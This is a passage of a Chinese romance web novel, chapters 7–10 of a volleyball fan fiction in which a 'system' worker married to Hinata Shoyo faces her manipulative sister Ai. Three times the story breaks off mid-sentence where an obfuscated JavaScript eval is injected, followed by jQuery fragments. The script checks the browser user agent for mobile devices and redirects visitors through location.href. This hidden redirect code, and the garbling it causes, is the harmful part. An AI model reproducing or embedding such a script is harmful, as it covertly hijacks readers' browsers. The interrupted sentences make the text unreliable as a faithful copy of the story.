门先一步被人从里面打开。
米勒高大的身形几乎将门口塞满,一如既往黑沉的脸居高临下看着两人,似乎没想到他们会挤在门口。
他表情顿了一下,朝他们点点头,让开位置,看向里面表情柔和了百分之0.1。
“谢谢你,我明天会按时过来的。”
我在里面换好干净的床罩,闻言点点头,顺便按照朱莉姐的话叮嘱了他注意事项。
米勒队长看起来超级——凶残,但刚才意外的配合,危险性逐渐降低到艾利克斯的程度。
属于看起来凶残但是没什么杀伤力的角色。
当然在我心里属于第一阶梯的好人,目前就只有让日向君,唔,前辈也勉强可以算上吧。
米勒安静地听完新来的理疗师用极快的语速,把注意事项背了一遍,这个视角看不见的脸肯定也是绷得紧紧的。
这些他早就听得耳朵起茧子了。
他活动了一下身体,前所未有的舒畅感,让他凶恶的脸都好看了点,也耐心下来听她说完。
才在艾利克斯震惊探究恨铁不成钢的眼神中离开。
艾利克斯看了看理疗室内,又瞪着一双眼睛看了看队长愉悦的背影,眼睛都快掉下来了。
完了。
事情比他想象中还要严重。
邪恶黑漆漆居然这么快就俘获了队长的心!
他找机会赶走黑漆漆的计划又产生了新的阻碍。
艾利克斯咬着牙又将探究的视线看向黑川一,怎么也看不出她身上到底有什么魔力。
竟然在这么短的时间内,让队长都能对她缓和脸色。
他瞪着铜铃似的眼睛,想要好好观察。
我严谨地安排同样有按摩舒缓项目的日向君背对着我躺好,可落在背后的视线实在是过于灼热,难以忽视。
我一边活动着双手,一边转身,正和艾利克斯灯泡似的眼睛对上。
“你眼睛不舒服?”
艾利克斯:“啊?我?你才眼睛不舒服!我好得不了,我怕告诉你黑……黑川你别咒我啊!”
我无情点点头,指了指门口。
“没事就好,你可以出去了,我看过了你没有按摩舒缓的项目,去找朱莉姐吧。”
艾利克斯瞪眼:“你赶我?”
我有点困惑,他的意思是想要待在这里吗?
“……嗯。”
“主要是为了保持安静舒缓的环境,麻烦先出去一下。”
艾利克斯重重的踩着步子愤然离去,切,谁稀罕看她干活了?!
我活动着微微发热的手掌,对趴在床上的日向君认真的说:“我开始了哦。”
日向翔阳趴在床上训练的疲倦很快将他席卷,昏昏欲睡间似乎听到有什么人在耳边说话。
紧接着是落在鼓胀紧绷肌肉上的手。
身体下意识紧绷了一下,可随着那双手恰到好处的力道,平日会按到酸痛难忍的地方,反而在短暂的酸痛过后涌上熨帖的热意。
很舒服。
他闭着眼睛逐渐熟睡。
·
总之新的社畜生涯总算是乱七八糟的开始了。
一段时间后,圣保罗Asas的所有人都知道,球队新来的看起来瘦瘦小小不太说话的理疗师,手艺超级好,效果绝佳,排队都排不上。
我结束了今天的工作,没有惊动又一个直接睡着的球员,坐进电脑椅开始趴在桌子上写记录。
等治疗床上的球员一脸恍惚的告别之后,我才锁上门揣着兜溜达到训练场。
我也逐渐在这份工作中体会到了不同的乐趣,像是在玩一种经营小游戏,每做完一次理疗都会有不同程度的好感度和声望增加。
归根到底大概是因为遇见的大家都是好人吧。
我听到排球馆内运动鞋和地面摩擦发出的声音,唇角不自觉勾起细微的弧度。
说不定这一次烂系统的失误,也能带来点好的转变。
推开场馆的大门,身穿黑边橘色队服的身影,加速奔跑,起跳。
高高跃起不可思议高度的身影双臂拉开伸展,像一只飞翔的鸟,伸展到极致的手臂重重击球。
“啪!”
那颗三色相间的排球再一次落在同一个位置。
即便没有“DOKIDOKI”攻略的指引,我也立即不由自主的屏住呼吸,兴奋的鼓掌。
飞翔的鸟落在地上,他朝这边看来,露出一个不好意思的灿烂笑容。
“抱歉抱歉,我又忘记时间了。”
已经习惯了每次见面都要被搓搓头,我背地里屯好了防脱发洗发水严阵以待。
我才不会阻止。
这也算是不经意的接触吧。
而且被顺着的发丝摸摸真的很舒服啊谁懂(。
我在球场边的教练椅上坐下,双手放在膝盖上,等着他冲澡换衣服再过来和我一起回家。
这是我们一天中除了理疗之外,相处最长的时间。
什么你说晨练?
我赖掉了(理不直气也壮)。
掌机里穿着绿油油套装的金发小人儿到处挑衅,四处的收集材料,沉迷野炊,显然已经忘了等待拯救的公主。
在我踩着盾第五次从山坡上滑下来的时候。
背后传来了熟悉的橘子味,我若无其事收起的耐久度泛红的盾牌,帅气的顺着风从地上飞起,用刚才收集到的箭矢干掉冲过来的多动症蜥蜴。
“很厉害。”
“黑川桑很擅长打游戏呢。”
我们并肩走在路上,听见日向君的赞叹,我黑发下的脸微微泛红。
没反应过来就那样做了。
这种开屏的举动,求问到底和走在路上突然投篮以及兴奋时打空气高尔夫有什么不同啊摔!
好在另一个当事人并没有发现我很经意的小心思,还在一本正经的表扬我。
我捂着脸小声说:“别说了。”
他茫然看着我:“怎么了?是我说错话了吗?”
我扭开头笨拙的转移话题。
“没有,但是我的糖吃完了,我想说的是,可以再绕路去一趟超市吗?或者我自己去也可以。”
“啊好的,我们那条路走要近一点。”
日向君听了我的话,毫不犹豫的答应下来,我提出的第二种选项似乎根本不在他的考虑范围。
我落后一步看着他的背影,戳了戳系统面板,查询攻略进度。
在面板弹出来的瞬间我紧绷着又迅速叉掉,朝停下脚步等我的橘发青年小跑着跟上去,垂在身侧的手就被他握住。
我一怔。
“超市里人很多,总觉得不抓紧的话,黑川桑会一眨眼就不见呢。”
他笑着说,又整理了一下我的额发,带着热度的指尖擦过眉头。
引得低垂的睫毛不自觉发颤。
算了还是过段时间再看吧。
我抿唇被牵着走进超市,就算是在人来人往的地方,我第一次这么平静,眼睛低垂着只能看到包裹住我的手。
那只手更大一些,掌心和指腹都有薄茧,难以忽视的灼热从掌心透过来。
我小心动了动手掌,从被完全包裹的状态,变成了与他手掌交握的状态。
这样不容易散开了。
走在前面的日向君没有回头,而是替我认真的寻找想要的口味。
“辣椒牛奶味的只有这一包了哦。”
他的声音好像有点如释重负,又有些担心,拿起另一袋畅销的口味放到我面前的。
“柠檬味的好像也不错,黑川桑要试试吗?”
那个味道能让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279044|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我平静下来,不过被日向君这么看着,我并不想拒绝让他失望,就买了这两种回家。
结账的时候我遗憾的看了眼被放开的手,身后传来的声音让我逐渐泛起陌生欣喜的心脏啪叽一声摔在地上。
“那个……请问这个最后一包可以让给我吗?”
漂亮娇美的容貌,闪亮水润的大眼睛,玫瑰般的嘴唇,雪白柔软的皮肤,善良开朗的性格等等——这是我说过的主角组员工标准。
如今站在我身后的就是这样一个人,她的声音也很好听,认真请求的时候简直让人不想拒绝。
她光是站在那里就吸引了许多惊艳的目光。
被汇集过来的目光牵连的我低着头,指甲深深扎进掌心,半晌,才沙哑着声音开口。
“我不要。”
我很清楚,她并不是真心不想要,只是想要从我手里拿走什么而已。
以前在工作的时候,经常会遇到这种情况,烂系统像是对我们这对姐妹之间的感情有什么奇怪的理解。
我做过的任务里,大部分时候都能碰上这家伙,以主角和背景板的组合。
我的拒绝往往是没有用的,从违反主角甚至对她产生反感的那一刻,我就成了剧情中被打脸来反衬她魅力的炮灰。
注定会被她踩在脚下。
所以,为什么她会在这里?
有人视线带上熟悉的恶意和莫名其妙的洞悉,好像只一眼就能从外表,以及听到的只言片语知晓整个事情的真相。
“不会是在欺负人吧?”
“那位小姐看起来好可怜,对面那人阴沉沉的,是不是不良啊?”
“你说我要不要去帮忙。”
我脑海中某根逐渐放松的弦再次收紧,甚至更加紧绷的勒紧血肉,抬眼没什么表情的看着她。
“你为什么会在这里?黑川爱。”
她朝我弯了弯唇,以一种只有我们两人才能听见的声线说:“当然是来替你收拾烂摊子啊,姐姐。”
“不然你不会告诉我,现在精神状态都快要抵达红线的你,能独立完成任务吧?”
我木然站在原地,脑海中勒紧的弦割开了血肉,不知名液体淋漓的落了下来。
明明前辈说过让我加油的。
不是说短时间内无法匹配传送第二个人吗?
“是不是很奇怪为什么我能来?”
她雪白的小脸凑到我面前,透过额发直勾勾的盯着我的眼睛:“当然是因为我们是姐妹啊,别人不行,我凭借着相似气息可以破例。”
“是不是很惊喜。”
“顺带一提,你暗淡的眼睛还是一如既往的恶心。”
“识相的话赶紧找个借口离任务目标远点。”
对了,日向君!
我如梦初醒般转身,已经结完账的橘发青年抱着两包糖果来到我面前,朝我伸出手。
“走吧黑川桑,该回去了。”
我下意识伸出手。
“啊,这是黑川桑认识的人吗?”
他自然而然的看向站在我身后的黑川爱问道,自然也没看到我僵在半空的手。
我放下手,一时间有些不知道该说什么,黑川爱来了,就算我想要继续做不适合我的任务,也肯定比不过她的。
强行硬融只会让自己难堪,这样的难堪我在刚入职的时候体会的够多了。
现在应该好好跟日向君介绍黑川爱,然后自觉收拾东西离开,把舞台留给她。
可是……
可是日向君手里还抱着我喜欢的糖果,今天工作很开心,就连一直看我不顺眼的艾利克斯也没有再来找麻烦。
只是这时候,我不舍得放手。
“我不认识她。”
“日向君你好,我是小一的姐姐黑川爱,谢谢你这段时间对小一的照顾。”
8. 第 8 章
两人的话一前一后落下,余下令人尴尬的沉默。
我能感受到日向君疑惑的视线落在我身上,我倔强地保持着沉默,避开他的目光,只想快点离开。
我想了想,还是试探着想要拉住他的衣角。
探出的手落空,我看着那片衣摆从我眼前移开,然后就变成了日向翔阳担忧的脸。
他居然没有第一时间去询问黑川爱为什么我们各持一词。
而是再次俯身在我面前蹲了下来,注视着我的眼睛。
“黑川桑我们走吧,难过的话就不要强迫自己露出轻松的表情了。”
我睁大干涸的眼睛,逐渐勒入血肉的绳子稍稍放松,一时间有些听不清他的声音。
日向翔阳说了几句话,露出让他难过眼神的黑川一还是没有反应,他蹙了蹙眉起身牵住那只冰凉的手带着她往外走。
我顺着日向君的力道迈开脚步,才逐渐活了过来,视线探究地落在他的后背。
真的假的。
日向君他竟然在我和黑川爱之间选择了我吗?
我勉强转动生锈的脑袋,想了想他刚才的反应,似乎对向来无往不利的黑川爱没什么特别的关注。
我呆愣愣地跟着他回到家,机械性脱掉鞋子,被牵着来到沙发前被按着坐下。
过了一会,有什么东西抵在我的唇边。
我下意识张口,熟悉的辛辣和甜意在口中蔓延,刚刚愈合的腮肉有一点点刺痛。
有一只手犹豫着落在我的后背,像是安抚一只受惊的小动物一样,耐心的安抚着我的情绪。
我含着糖果低落的声音有些模糊。
“其实我认识她,她的确是我的姐姐。”
“嗯。”
坐在黑川一身旁的日向翔阳表情茫然了一瞬:“嗯,我知道了。”
我攥着拳头,拼命汲取口中的古怪甜意,声音都带上了潮气:“但是我们关系其实并不是很好,从小我……我什么都比不上她。”
没有什么比被人坚定的选择更加美好了。
我忽然想要得到点什么,哪怕是一句安慰。
日向翔阳是个好人。
他的话一定不会像那对男女一样,毫不犹豫的把我扔下吧。
“她很漂亮什么事都能做好,我明明是被抛下的人,却还要承受他们不讲道理的不断比对。”
“她……”
[警告!检测到黑川一有暴露系统倾向,电击惩罚一次!]
我牙齿颤了颤,还是吞下了即将脱口而出的话,转而低声询问。
“日向君我们约定过,在遇到喜欢的人之前,我们要互相帮助对吧?”
“是的哦。”
我抿住干裂的唇,握住他放在我头顶的手:“在那天到达之前,请继续帮助我。”
“我当然会一直帮助黑川桑的,不要害怕。”
我看过日向君所有的比赛录像,特别是高中时期的比赛,我仿佛在看着一只瑟瑟的飞鸟逐渐羽翼丰满直到可以展翅翱翔。
现在的青年脱离了少年时期过于圆顿的弧度,脸侧线条更加硬朗,在排球场上明明是不突出的体型。
却在经过千锤百炼之后,蕴含着让人震惊的力量。
他已经成长为一个可靠的大人。
就只是站在那里都让人感到心安。
我不想说什么让他不要喜欢上黑川爱那种鬼话,就算是注定失败的任务,我也在那之前得到了认真的承诺。
在这段婚姻中,我是“独占”的。
这样就好。
我在日向君担忧的眼神中叼着棒棒糖起身,跟他道了晚安,走进房间。
点开从黑川爱出现就疯狂闪烁的通讯。
前辈沧桑的大脸出现在镜头里,匆忙在我身上看了一圈,才稍微平静下来。
然后平静的问候了黑川爱整整十分钟,末了喘口气,开始安慰我。
“小一你千万别被她影响了,我看她就是故意过来找你麻烦的,明明上面都同意由你来执行这个小世界的任务。”
“她比你后进来,用的非常规手段,你不必管她,该做什么做什么,如果她干扰你的任务……额。”
前辈的声音忽然小了下来。
我看着系统发来的任务执行人员变更通知,目光平静:“她不会打没有准备的仗,我早就猜到了。”
前辈小心翼翼看着我的脸色:“那怎么办?”
“这糟心任务咱们要不不做了吧,本来就是烂系统的失误,我去找上面把你弄回来!”
不失为一个好办法。
我抱着膝盖继续按动手柄,操作小人继续甩杆,屏幕的光倒影在我脸上浮动着绿油油的光。
“谢谢前辈,麻烦您先帮我准备吧。”
“嗯?听你的意思是不打算现在回来?”
我下巴蹭了蹭膝盖,不自在的拉低头上毛绒绒的兜帽,吞吞吐吐的说:“我觉得日向君是个好人。”
前辈缓缓眯起眼睛,双手环胸。
“然后呢?”
不会吧不会吧不会吧。
她们家小一不会不到一个月就被任务对象反向搞定了吧?
“虽然攻略任务提倡真心换真心,真实的爱意才能有效让系统得到高浓度的能量,维持小世界运转,但话又说回来……”
“上头说的是一回事,咱们做的是另一回事,万一人家不喜欢你呢?”
我无所谓的拿出相机,对准精心布置的桌面和刚钓上来的稀有鱼类拍了个照,熟练的编辑滤镜和文案发到刚注册的社交账号上。
“不喜欢的话也是没办法的事情吧,我都已经习惯了。”
对面有些哑然。
“不过也不是你想的那样,我对他大概不是这种感情。”
日向翔阳是个好人,他会对每一个需要帮助的人提供帮助,我就是其中比较特殊的一个而已。
我不喜欢他。
我喜欢他表现出的温柔。
前辈的声音变得有些无奈:“行行行,你说什么就是什么,啊,对了,变更执行人之后,你的好感度查询用不了了。”
“如果你走狗屎运成功了的话,系统会直接结束任务传送出来的,不用担心。”
“嗯嗯。”
“那我还有点事……”
“扣扣扣。”
日向翔阳的声音隔着门板传进来:“黑川桑到时间了,记得早点休息。”
“晚上你没吃多少东西,我煮了拉面放在外面,如果你想吃的话记得趁热吃。”
他说完就离开了,体贴的给予今天情绪不对的我一点空间。
我对着前辈挤眉弄眼的脸,啪的一下挂断了通讯。
都说了不是她想的那样了!
深夜我蹲在茶几前,吸溜着美味的猪骨汤拉面,第一次有点认同前辈的想法。
厨房杀手爱上日向君(留子的手艺)简直和呼吸一样自然。
我要和日向君的厨房过一辈子!
今天晚上我难得乖乖躺在床上,在就寝时间安睡。
第二天早晨,我悄悄踏出房间,见日向君房间门敞开,就知道他肯定是出门晨练了。
我信心满满的钻进厨房。
日向翔阳晨练回家第一眼就看见围着的花边围裙,站在厨房里的黑发少女,大概是害怕头发掉进锅里,就连过长的刘海都被卡子夹到两边,完整的露出光洁的额头。
从窗外照射进来的阳光落在她身上,就连那双颜色总是不健康浅淡的唇都附上了一层光泽。
专注的钴蓝色瞳孔盯着锅里“滋啦”作响的煎蛋,在即将出锅之前,瞳孔不明显的收缩。
看起来有些紧张。
我屏息把煎蛋翻了个面,然后满意的点点头,组装进经过挑选面包烤得最完美的三明治里。
接下来就等日向君回来给他一个惊喜啦!
我回头看了眼时钟,后背却撞进了一片结实的胸膛,喉咙里不自觉飘出的小曲被吓到暂停。
一缕橘色的短发从耳边拂过,身后的青年俯身嗅了嗅三明治,然后亮晶晶的橘色瞳孔看向我。
丝毫不吝啬夸赞。
“好厉害,黑川桑做的三明治看起来很好吃的样子,辛苦你了。”
他胳膊绕过我主动端起两份早餐,发丝再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279045|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次擦过我的脸颊,带着早餐和我一起向外走去。
我有点不好意思。
他手上的两份早餐有很明显的区别,准备给日向君的很完美,但面包实际上也有点硬。
不打算浪费食物打算我自己解决的那份,面包有点黑乎乎的,里面的煎蛋已经破了口往外流心。
“那个是你的哦,日向君。”
他把完好的那份放在我面前,眼神里的意思让我难以开口拒绝,只好看着他拿起那个格外简陋的三明治。
“很好吃!”
我也咬了一口。
明明是普通三明治的味道。
就连这么普通的三明治都要夸赞我,日向君真是辛苦了。
不过就算知道他是在安慰我,我心情也在他上扬的声线中逐渐飞扬起来。
我兴致勃勃的说:“难道说我做三明治还真的有点天赋?那早餐以后由我来负责怎么样!”
擦干净手正在喝牛奶的日向君咳嗽了一下。
他连忙放下杯子看向我。
我意识到什么,揉了揉脸解释道:“我就是随口一提而已,我确实在这方面不太擅长,”
也没人教过我。
按照教程来的最后结果总是一塌糊涂,我有点不好意思。
“如果天天吃我做的东西,日向君训练都没有力气了吧。”
我脑袋一重,日向君居然慌忙起身隔着桌子就摸我脑袋,差点把我按进了盘子。
“不……不是这样的!”
他的声音很快又镇定下来,恢复到以前的可靠平稳:“不是你想的那样,我刚才只是在想怎么让黑川桑同意让我来教你。”
“其实黑川桑应该没什么做过这些事吧,没有学过的事情做不好是自然的,不如我来教你吧。”
他似乎很期待我的回答,顶着那双朝气蓬勃的脸凑过来,等着我的回答。
我不自觉被近在眼前的蓬松橘发所吸引,声音很轻像是怕吓跑什么小动物。
“好啊。”
双手顺势摸上了那头浓密而柔软的橘色发丝,我幸福的眯起眼睛。
谁能拒绝橘子小狗!
日向翔阳在短暂的惊愕过后,居然笑着凑过来,让我摸个够。
“原来黑川桑每次盯着我发呆,都是在想这个吗?”
“也……也不是每次。”
确实很馋就是了。
我罕见的元气满满的出门上班,然后在俱乐部门前遇到了一脸见了鬼似的艾利克斯。
“你今天受什么刺激了?”
撸到大狗的快乐你不懂。
我轻飘飘扫了他一眼,从鼻子里哼了一声,越过他走了进去,想了想又倒回来对咬着牙的艾利克斯挥挥手。
他在日向君的示意下没好气的走过来。
“干嘛?”
我莫名其妙看着他充满戒备的姿态,撇了撇嘴。
“朱莉姐今天安排了你的项目,下班之前记得来一趟,就这,我走了。”
我推开门,熟悉的声音飘了过来。
“看来你的心情不错?”
黑川爱坐在我的座位上,手里翻开的是我记录用的文件夹,见我进来她把文件夹随手扔下朝我抬抬下巴。
那对夫妻费尽心思改良的基因在她身上表现得淋漓尽致。
就算做出如此高傲不讨喜的动作,也不会让人生厌,反而透露着一股娇憨。
“你收到消息了吧,昨天我让你做的事情,你做了吗?”
我收拾好被她弄乱的桌面,顺便把门打开用门吸卡主,任何人经过都能看见里面的一切。
这是我面对这家伙的经验之谈。
“你不是我的上司,我没必要听你的。”
我强撑着在她面前做出冷漠又自信的样子,朝她也抬了抬下巴:“既然没有让我立即脱离,你做什么你管不着。”
“这是我的办公室,你该走了。”
她被我少见的忤逆弄得有些愤怒,可这点愤怒又很快被好笑取代。
“既然如此我就期待着看你的眼泪了。”
“顺带一提这里现在是我的办公室。”
9. 第 9 章 “你们在干什么?”
“你们在干什么?”
艾利克斯罕见地穿着一身常服走来,站在我身后按着我的脑袋问。
我脑袋被迫沉了一下。
余光都可以看清他恨不得黏在黑川爱身上的视线,拢在袖子里的手指重新放松,脑袋动了动甩开这家伙的手,顺便借着退出来的动作给了他一拐子。
艾利克斯“嘶”了一声,目光终于恋恋不舍地收回来了。
他瞪着我:“你这……家伙怎么突然动手!”
果然是邪恶黑漆漆!
我朝他冷笑一声,并不想理会头脑简单到一个照面就被黑川爱蛊惑的家伙,拿着这段时间记录用的文件夹。
“别装了,你要是这么容易被我得手,干脆自己向教练提交辞呈吧。”
我抱着东西朝隔壁朱莉姐的办公室走,走到一半又停下,回头朝艾利克斯示意办公室电脑上的U盘和我自带的键盘。
“喂,帮我把键盘和U盘拿给我。”
艾利克斯又看了两眼长相气质都是他的菜的陌生少女,最终还是嘀嘀咕咕地去拿东西。
“你是不是对我越来越不客气了?居然这么理直气壮地使唤我。”
我微微一笑,艾利克斯的眼神惊恐起来。
“你可以选择不做。”
“小一你怎么能这么和人说话。”
在第三人出现的瞬间就以最美丽的姿态坐好的黑川爱插了进来,白皙姣好的脸上带着歉意,漂亮的天蓝色瞳孔注视着青年。
“艾利克斯是吗?你好,我是小一的姐姐黑川爱。”
她漂亮的像是阳光下一朵丰润动人的玫瑰,让人忍不住想要呵护。
“小一的性格从小就有点……我代替她给你道歉,东西我来帮忙拿吧。”
艾利克斯正面对上那张脸,一时有些怔愣。
黑川爱唇角露出一丝矜持的笑意,起身作势帮忙。
艾利克斯下意识想要上前阻止:“等等黑川小姐,我来吧。”
“啪!”
两人手中被主人精心装饰过的可爱键盘在礼让中没拿稳,砰的一声一角磕在桌上,即将落在地上之前一只苍白的手及时捞了回来。
我小心检查了一下磕到的一角,以及键盘上的痛贴,万分心痛地发现我推的脸被划伤了!
就知道那家伙没安好心。
我扫过黑川爱一贯那副表情的死脸,面无表情地看着艾利克斯。
“我自己拿吧,还是不打扰你们两个了。”
艾利克斯挠了挠头,感觉氛围有点不对,试图调和。
“其实怪我没有拿稳,黑漆漆你不会这么小气吧?”
“巧了,我就是这么小气。”
再次不可避免地和黑川爱接触让我有点生理性的反胃。
刚才的我还是太天真了,居然还让艾利克斯帮忙,以他们相识这不到一个月的交情当然比不过那家伙。
听起来很可笑,但这就是我经历无数次任务后,观察得来的结论。
黑川爱这家伙身上,绝对是拥有类似于女主光环之类的东西,不论是天生亦或是后天得到。
在他们都还是普通打工人的时候,那家伙都已经拿着金手指走上了万人迷的道路,比起其他主角系统员工兢兢业业地谈恋爱,她做任务时更像是高高在上施舍着选妃。
说实话如果这东西落在我身上,或者黑川爱能离我远点的话,我们大概都可以皆大欢喜。
结果现实就是这么操蛋。
我就是摆脱不了这家伙!
抱着东西我最后扔给艾利克斯一句话:“我很烦,今天之内,不,三天之内都别来找我。”
艾利克斯瞪大了眼睛,迷茫淹没了他一米九的背影。
黑川爱看了他一眼,视线从他肌肉匀称流畅的身材上划过,在他的脸上停了一会儿,眼中勉强闪过一丝满意。
日向翔阳还没有机会接触。
先吃点小点心也不错。
我带着东西走进朱莉姐的办公室,她似乎早有预料整好以暇的坐在办公桌后等我,无框眼镜后的眼睛平静的落在我身上。
她朝角落新加的一张办公桌示意。
“黑川,你暂时先和我一间办公室。”
意料之中。
朱莉是一个专业能力非常厉害,但人情世故和我堪称半斤八两的家伙,她勉强露出的一点善意在我心中有明确的换算公式。
“好的,谢谢朱莉姐。”
一大早上看见黑川爱的晦气,让我忍不住想要找个没人的地方,好好梳理一下情绪。
但成熟社畜的本能让我下意识道谢后,开始整理工位。
等到完成朱莉吩咐下来的二线球员理疗计划,办公室里已经没人了,如果没有意外的话球员的理疗大都是从下午开始。
我看了眼紧闭的门,放松的靠进座位用力伸了个懒腰,现在应该去找日向君吃饭了。
我双手抱着膝盖蜷缩在位置里,重新订购的白大褂还没到,我身上过于宽大的白色衣料轻而易举将我包裹。
久违的安心感从心底涌了上来,我懒懒的拿起手机给日向君发了计划有变的消息,让他今天一个人吃饭后就睡了过去。
半梦半醒间我似乎还听见了艾利克斯聒噪的声音,又如幻影一样消失不见。
额头被什么轻触,肌肤相贴的触感让我喟叹一声,歪着脑袋追寻着蹭了蹭。
直到一只手安抚的在我发顶顺毛,才放弃追赶。
艾利克斯双手环胸居高临下的看着沉睡的黑发少女,在椅子里团成一团的姿势,让她显得更瘦了。
口中抱怨的声音也轻了点。
“突然发消息说什么有事要干,结果竟然是在这里睡大觉!害得我们找了一通。”
他看着自家橘发队友把带来的饭菜放进保温桶,甚至还在黑川一桌上留下一颗糖,一时之间有感而发。
“翔阳,我要是黑漆漆我也忍不住要和你结婚。”
日向翔阳有些惊讶。
他和黑川一结婚的事情实际上除了俱乐部高层,就只有远在日本的父母和艾利克斯知道。
艾利克斯看到了那天的事,一直对黑川桑颇有微词,从来不会在两人之外的地方提到他们已经结婚的事。
“怎么突然说起这个?”
他探究的看着艾利克斯。
艾利克斯点缀着小雀斑的脸有点红,不好意思的扭头,然后又硬生生转过来小声说:“我也想要结婚了。”
“嗯?和谁?”
“……黑……黑川的姐姐,我简直对她一见钟情!”
我在日向君摸我头的时候就醒了,现在听着艾利克斯语气越来越梦幻的语气,眉头抖了抖。
打个赌。
这傻子今天晚上大概就能被黑川爱骗到手。
这么傻,我都不好意思迁怒他了。
但是我仍然装睡,只有我自己能听到的心跳声越来越快,想听听日向君……他是怎么看的呢?
“姐姐?”
日向翔阳的声音有些疑惑。
我默默扣紧了手心。
“就是今天上午在场边,站在教练身边学习的那个金发蓝眸的少女哦,很漂亮吧,我不信你没注意到。”
艾利克斯:“她本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279046|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来还打算给你送水呢,不过被我眼疾手快截胡了嘿嘿~”
我:“……”
果然是个傻瓜,收回我前面的想法,黑川爱那家伙说不定会气到拿这家伙撒气。
日向翔阳下意识朝黑川一看了一眼。
黑发少女总是喜欢蜷缩着睡,据说这样是格外没有安全感的表现,瘦削的脸颊搁在膝头脸颊被挤出有圆润的弧度。
有点可爱。
他并没有忘记黑川爱是谁。
毕竟那样的相貌物理意义上也很难让人忘记。
但他看见黑川爱的时候,总是忍不住想起昨天晚上,黑川桑的眼神。
无论是父母的不在乎还是不断作为参照物的比对越好,她在意的都不是这些。
说话的时候那双眼睛一直在说。
救救我。
选择我。
他指尖不经意扫过少女颜色浅淡的唇角,叹息道:“是很漂亮。”
我心沉了下去。
艾利克斯却顺着他说话时的目光看向黑川一,眼神有些茫然:“嗯?”
是在说黑川爱漂亮吗?
这么感觉有点不对。
日向翔阳:“她第一次见面就替黑川桑和我道歉。”
某根勒住血肉的丝线再次收紧。
艾利克斯猛点头:“是这样的!黑漆漆的性格你也知道,姐姐费了不少心思吧,我今天早上也……”
他的话被日向翔阳打断。
那双明亮的橘色双眸抬眼:“也许是我多心了,但已经和黑川桑同居一段时间的我,大概明白她会因为什么高兴,什么时候又会格外低落。”
比如吃到喜欢的东西、玩到好玩的游戏、以及被摸摸头的时候,她身上会出现代表着开心的小动作,身体会不自觉小幅度摇摆。
一个人的时候会不小心哼出奇怪音调的歌。
心情低落的时候那头黑发连带着那双被挡住的眼睛,都会不自觉灰暗。
那时候的黑川桑像是落入沼泽小动物,一动不动的仍由身体被逐渐吞噬。
她不敢向其他人主动求救,以至于会下意识依赖他这样一个才认识不到半年,甚至算不上完全了解彼此的人。
是因为他向黑川桑主动散发善意了吗?
他自认为那点善意并不会比他对别人的多。
可她就是那样做了。
昨天深夜罕见失眠的日向翔阳在察觉出这一点之后,心口蔓延出极重的羞愧。
他甚至忍不住想要跑到隔壁,看看黑川桑有没有独自不安的哭泣,需不要需要他守着她安睡。
多年的教养制止了他,但另一个想法如同冲动一样在脑海中愈发壮大。
经过一晚上的时间非但没有减淡,反而愈演愈烈。
他想要从现在开始好好了解照顾黑川桑,他想让黑川桑见到姐姐的时候不会再露出那种表情。
他还不清楚这是一种什么样的心情,但可以确认黑川桑是不一样的。
“如果黑川桑的过错是不善于表达的性格的话,那么每次黑川爱出现就笃定妹妹做错了,为她道歉的行为难道就是正确的吗?”
他不愿意在背后擅自讨论别人,就算认为黑川爱也许真的对黑川一没有表面上那样和善,但也还是没有多说下去。
只是和呆滞的艾利克斯一起轻声离开。
“咔哒。”
我缓缓睁开眼睛,看到桌上细心装好的保温桶和糖果,眼睛渐渐被水汽布满。
撕开糖果塞进嘴里。
“柠檬味。难吃。”
“……但是比辣椒牛奶味好像好一点。”
10. 第 10 章
与黑川爱共事的这段时间我并没有想象中的难过,而实际上就算我想要在上班时间遇到她也很难。
大多数时间她都会跟在教练身边,以不熟悉、了解球员的理由,待在球场旁边。
总之教练不出意料地答应了。
“咔哒。”
朱莉带着上午才给出去的资料走回来,手里还多了一个包装精美的小蛋糕。
她把小蛋糕放在公共区域的桌子上,对我说:“这是爱酱给我们准备的小礼物,她为今天不能及时完成工作感到抱歉。”
这个一直都对工作分外严苛认真的女人,没什么表情的脸竟然带着点柔和。
“要我说这并不是大问题,剩下的收尾我来帮忙完成就好,黑川,桌上的蛋糕你可以吃。”
我从朱莉身上收回视线,看了看时间,差不多是下班时间了。
今天早上已经和日向君约好中午去找他,一起去附近新开的烤肉店。
我没有动桌上的蛋糕,只是绕过挡在我们桌子中间的隔板,从她桌上拿了一部分需要整理的数据。
“事情是干不完的,而且那家伙根本就没有让朱莉姐帮忙吧,您已经很忙了,总之这部分我帮忙做了,下午下班之前给你。”
“先去吃饭吧。”
我拿走的是朱莉负责的部分,放在我未完成的工作内容中,拎起背包打开门离开。
